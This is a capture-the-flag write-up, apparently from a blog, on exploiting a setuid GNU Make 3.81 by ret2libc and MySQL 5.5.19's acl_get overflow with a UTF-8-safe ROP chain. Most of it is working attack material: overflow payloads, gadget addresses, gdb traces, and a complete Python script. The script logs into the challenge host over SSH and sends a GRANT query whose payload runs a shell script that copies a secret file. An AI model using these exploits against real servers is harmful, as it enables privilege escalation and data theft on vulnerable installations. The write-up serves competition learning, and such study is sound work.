swap.gs

breakpoint of no return

The easy way

guest@ns314076:/home/exploit03/project$ make --version
GNU Make 3.81
Copyright (C) 2006  Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.

This program built for i486-pc-linux-gnu

We have a setuid make available. The intended bug to exploit was a buffer overflow in the name of the target (when given in argument) but there was a way to validate the challenge by creating a Makefile with the following content:

all:
    @cat /home/exploit3/.secret

Challenge done :( Due to the fact that the two firsts ones were not involving any advanced exploitation, I think everybody just tried to read the file from the Makefile.

Or exploit it?

The creator of the challenge created an “exploit 5”, disallowing the use of the previous trick and asking us to exploit it another way. Googlin' around leads to a a PoC by HyP.

guest@ns314076:/home/exploit05/project$ gdb ./safe-run -q
Reading symbols from /home/exploit05/project/safe-run...(no debugging symbols found)...done.
(gdb) r $(python -c "print 'A' * 4124 + 'BBBB'")
Starting program: /home/exploit05/project/safe-run $(python -c "print 'A' * 4124 + 'BBBB'")
command: /home/exploit05/project/make -f /home/exploit05/project/...[...]...
process 2422 is executing new program: /home/exploit05/project/make
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
make: /home/exploit05/project/...[...]...: File name too long
make: stat: /home/exploit05/project/...[...]...: File name too long

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax            0x0	0
ecx            0x807e470	134734960
edx            0xb7fce3f0	-1208163344
ebx            0x41414141	1094795585
esp            0xbfff6a70	0xbfff6a70
ebp            0x41414141	0x41414141
esi            0x41414141	1094795585
edi            0x41414141	1094795585
eip            0x42424242	0x42424242
eflags         0x10246	[ PF ZF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

The NX bit is enabled but not ASLR. The wrapper created for the “exploit 5” challenge is cleaning the environment variables before calling make. We can try to do a mprotect + jmp ropchain or a ret2libc. I was not familiar with the latter, so I tried it :–)

(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ea8c30 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7ea5270 <exit>

A nice trick is that we don't have to push /bin/sh on the stack for system and try to find his address: this string is already present into the libc!

guest@ns314076:/home/exploit05/project$ xxd /lib/i386-linux-gnu/i686/cmov/libc-2.13.so |grep /bin/sh
013c190: 002d 6300 2f62 696e 2f73 6800 6578 6974  .-c./bin/sh.exit

We know where the libc is mapped:

0xb7e6d000 0xb7fcb000   0x15e000          0      /lib/i386-linux-gnu/i686/cmov/libc-2.13.so

It's easy to calculate the address of this string in memory: hex(0xb7e6d004 + 0x013c190) = 0xb7fa9190

(gdb) x/s 0xb7fa9194
0xb7fa9194:	 "/bin/sh"

We have everything, so let's dot it:

guest@ns314076:/home/exploit05/project$ echo 'whoami' |
./safe-run $(python -c "print 'A' * 4124 + '\x30\x8c\xea\xb7' + '\x70\xc2\xe9\xb7' + '\x94\x91\xfa\xb7'")

command: /home/exploit05/project/make -f /home/exploit05/project/...[...]...
make: /home/exploit05/project/...[...]...: File name too long
make: stat: /home/exploit05/project/...[...]...: File name too long
exploit05

Identification

It was not originally intended for the first (“exploit 4”), but it was possible to read the flag via LOAD DATA (since the user had the FILE privilege). So they added the “exploit 6” challenge, without this possibility. Six challenges instead of four :^)

First thing to do: get a clean debug environment. Copy all the files somewhere in /tmp/_____, and edit the mysqld.cnf file to change the path of the mysqld socket.

guest@ns314076:/tmp/foo$ gdb ./mysql-5.5.19-linux2.6-i686/bin/mysqld -q
Reading symbols from /tmp/foo/mysql-5.5.19-linux2.6-i686/bin/mysqld...done.
(gdb) r --defaults-file=./mysqld.cnf
Starting program: /tmp/foo/mysql-5.5.19-linux2.6-i686/bin/mysqld --defaults-file=./mysqld.cnf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
[New Thread 0xb7df1b70 (LWP 31351)]
[Thread 0xb7df1b70 (LWP 31351) exited]
[New Thread 0xb7df1b70 (LWP 31352)]
[New Thread 0xadfb0b70 (LWP 31353)]
[New Thread 0xad7afb70 (LWP 31354)]
[New Thread 0xacfaeb70 (LWP 31355)]
[...]

All right! We already know that a PoC exists for this version of MySQL (cheers kingcope!). I was behind an school firewall; I had no access to the port 3306. So I used the paramiko python package to connect to the server via SSH and execute my SQL query from the command line (the code is at the end of this write-up).

Time to get more information about this PoC.

#0  0xb7f168fb in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
#1  0x0814b974 in acl_get (host=0x41414141 <Address 0x41414141 out of bounds>,
    ip=0x41414141 <Address 0x41414141 out of bounds>,
    user=0x41414141 <Address 0x41414141 out of bounds>,
    db=0x41414141 <Address 0x41414141 out of bounds>,
    db_is_pattern=1 '\001') at
    /export/home/pb2/build/sb_0-4399296-1322061984.01/mysql-5.5.19/sql/sql_acl.cc:1599
[...]

And we have GitHub to diff easily: 5.5.19 and 5.5.29.

We spot this new line:

if (copy_length >= ACL_KEY_LENGTH)

Uh. It's now clear that the vulnerability is located here :

end=strmov((tmp_db=strmov(strmov(key, ip ? ip : "")+1,user)+1),db);

The buffer of size ACL_KEY_LENGTH (98) is filled with the values key, user and db. As we saw in the PoC, we control the value of db and no check is made about the size of the final string before MySQL 5.5.29.

Exploitation

The ASLR is not enabled, but NX is. No stack cookie. Let's craft a nice ropchain! Since the SQL query is parsed by MySQL, any char in it have to be an UTF-8 valid one. The mysqld binary is pretty large, so we can expect to find some gadgets with “good” addresses! I used ROPGadget and sorted the result with a small script, to get only addresses with the correct format. The two conditions are the following : every byte of the address have to be lower than 0x80 (U+0000 to U+007F) OR a valid multi-byte sequence.

I tried the easiest way, the first condition:

f = open('./gadgets.txt', 'r')
for line in f.readlines():
    if line[0:2] == '0x' 
    and int(line[2:4], 16) < 0x80 
    and int(line[4:6], 16) < 0x80 
    and int(line[6:8], 16) < 0x80 
    and int(line[8:10], 16) < 0x80:
        print line[:-1]

Got 14545 gadgets! The only write-what-where is with eax, followed by a pop ebp. By chance, there is a lot of xchg eax, * gadgets that can be used this to control our registers. We'll have to increment eax for the int 0x80, since we can't have NULL bytes in the string.

After some regexes, I selected the following gadgets:

pop_eax        = 0x087e4b57
pop_ebx        = 0x086d5039
xchg_eax_ecx   = 0x086e136a
xchg_eax_edx   = 0x084e3062
xchg_esi_eax   = 0x087c3223
xchg_p_eax_esi = 0x08405331
int_0x80       = 0x08061234

data_addr      = 0x09090909

To confirm that I did not missed something about the initial state of the memory, I tried the following ropchain:

[
    _x(pop_eax),
    _x("/tmp"),
    _x(xchg_esi_eax),
    _x(pop_eax),
    _x(data_addr),
    _x(xchg_p_eax_esi),
]

And I got the following state:

(gdb) i r
eax            0x9090909	151587081
ecx            0x3	3
edx            0x0	0
ebx            0x41414141	1094795585
esp            0xa9775098	0xa9775098
ebp            0x41414141	0x41414141
esi            0x0	0
edi            0x41414141	1094795585
eip            0x88c8f00	0x88c8f00
eflags         0x10286	[ PF SF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/4x 0x09090909
0x9090909:	0x41	0x41	0x41	0x41

Just prepare a script in /tmp/xxx:

#!/bin/sh
cat /home/exploit06/.secret > /tmp/win
chmod 777 /tmp/win
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import sys
import struct
import os, socket
import paramiko

#                               HackingWeek 2015
#                             Exploit 4 / Exploit 6

# List our gadgets here
pop_eax        = 0x087e4b57
pop_ebx        = 0x086d5039
xchg_eax_ecx   = 0x086e136a
xchg_eax_edx   = 0x084e3062
xchg_esi_eax   = 0x087c3223
xchg_p_eax_esi = 0x08405331
inc_eax        = 0x08061234
syscall        = 0x086d0d0e
ret            = 0x08240d14

data_addr      = 0x09090939
struct_addr    = 0x09090941 + 2

# Simple macro to write addresses with the correct endianness
def _x(s):
    return struct.pack('<I', s)

# Debian 7 target, with MySQL 5.5.19
class target_debian():
    def generate(self):
        ropchain = [

            _x(ret),
            _x(ret),
            _x(ret),

            # Write /tmp
            _x(pop_eax),
            "/tmp",
            _x(xchg_esi_eax),
            _x(pop_eax),
            _x(data_addr),
            _x(xchg_p_eax_esi),

            # Write /xxx
            _x(pop_eax),
            "/xxx",
            _x(xchg_esi_eax),
            _x(pop_eax),
            _x(data_addr + 4),
            _x(xchg_p_eax_esi),

            # Write the address of the string
            _x(pop_eax),
            _x(data_addr),
            _x(xchg_esi_eax),
            _x(pop_eax),
            _x(struct_addr),
            _x(xchg_p_eax_esi),

            # ebx = @ "/tmp/xxx"
            _x(pop_ebx),
            _x(data_addr),

            # ecx = @ {"/tmp/xxx", NULL}
            _x(pop_eax),
            _x(struct_addr),
            _x(xchg_eax_ecx),

            # edx = @ NULL
            _x(pop_eax),
            _x(struct_addr + 6),
            _x(xchg_eax_edx),

            # int 0x80 with eax = 11
            # because of null byte :(
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(syscall)
        ]

        out = ''
        out += "A" * (283 + 4)
        out += _x(0x09090909)
        out += "AAAA"
        out += _x(0x09090909)
        for i in ropchain:
            out += i
        return out

payload = target_debian().generate()
grant = "grant ALL on \`" + payload + "\`.* to 'guest'@'localhost' identified by 'p0wny';"
print grant

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('37.187.22.21', username='guest', password='[...]')
stdin, stdout, stderr = ssh.exec_command('echo "'+ grant +'" | mysql --user="guest" --password="guest" -S /var/run/mysqld/mysqld2.sock' )
print "stdout: " + ''.join(stdout.readlines())
print "stderr:" + ''.join(stderr.readlines())